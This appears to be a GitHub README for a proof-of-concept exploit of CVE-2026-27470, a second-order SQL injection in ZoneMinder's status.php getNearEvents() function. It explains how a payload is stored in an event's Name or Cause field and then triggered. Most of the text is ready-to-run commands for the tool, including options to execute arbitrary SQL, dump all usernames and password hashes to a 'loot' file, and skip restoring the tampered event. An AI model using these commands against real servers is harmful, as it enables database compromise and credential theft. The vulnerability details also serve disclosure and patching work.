d3vn0mi/cve-2026-27470-pocPython PoC for CVE-2026-27470, authenticated second-order SQL injection in ZoneMinder's getNearEvents() (status.php), CVSS 8.8
Author: d3vn0mi | CVSS 8.8 | Authenticated | Events Permission Required
CVE-2026-27470 is a second-order SQL injection vulnerability in ZoneMinder's web/ajax/status.php — specifically the getNearEvents() function.
| Detail | Value |
|---|
| Affected | ZoneMinder <= 1.36.37 and 1.37.61 – 1.38.0 |
| Fixed in | 1.36.38 / 1.38.1 |
| Type | Second-Order SQL Injection |
| Auth required | Yes (any user with Events permission) |
| CVSS | 8.8 (High) |
The vulnerability is a two-phase (second-order) SQL injection:
Phase 1 — Store: The attacker renames an event (or edits its Cause field) to contain a SQL payload. ZoneMinder uses a parameterized query for this write, so the payload is stored safely in the database — no WAF or filter blocks it.
Phase 2 — Trigger: The attacker requests the nearevents entity via the status API. The getNearEvents() function reads the stored event Name/Cause from the database and concatenates it directly into a new SQL query without sanitization, resulting in SQL injection.
Because the injection vector (stored data) is separate from the trigger (a clean GET request), this bypasses most input-level protections.
git clone https://github.com/d3vn0mi/CVE-2026-27470-POC.git
cd CVE-2026-27470-POC
pip install -r requirements.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT user()"
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users
Credentials are saved to dumped_creds.txt by default.
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users -o loot.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT @@datadir" -o result.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password --proxy http://127.0.0.1:8080
python3 poc.py -t http://10.10.10.10 -u admin -p password --field Cause --query "SELECT database()"
python3 poc.py -t http://10.10.10.10 -u admin -p password --event-id 42
python3 poc.py -t http://10.10.10.10 -u admin -p password -v
| Flag | Description | Default |
|---|---|---|
-t, --target | Target URL | (required) |
-u, --username | ZoneMinder username | (required) |
-p, --password | ZoneMinder password | (required) |
--query | SQL query to execute | SELECT VERSION() |
--dump-users | Dump all usernames and password hashes | |
-o, --output | Save results to file | dumped_creds.txt |
--event-id | Event ID to use as injection carrier | (auto-detected) |
--field | Injection field: Name or Cause | Name |
--no-restore | Don't restore the event name after exploitation | |
--proxy | HTTP proxy URL | |
--timeout | Request timeout in seconds | 30 |
-v, --verbose | Enable debug logging |
This tool is provided for educational and authorized security research purposes only. Do not use it against systems you do not own or have explicit written permission to test. The authors are not responsible for any misuse or damage caused by this tool.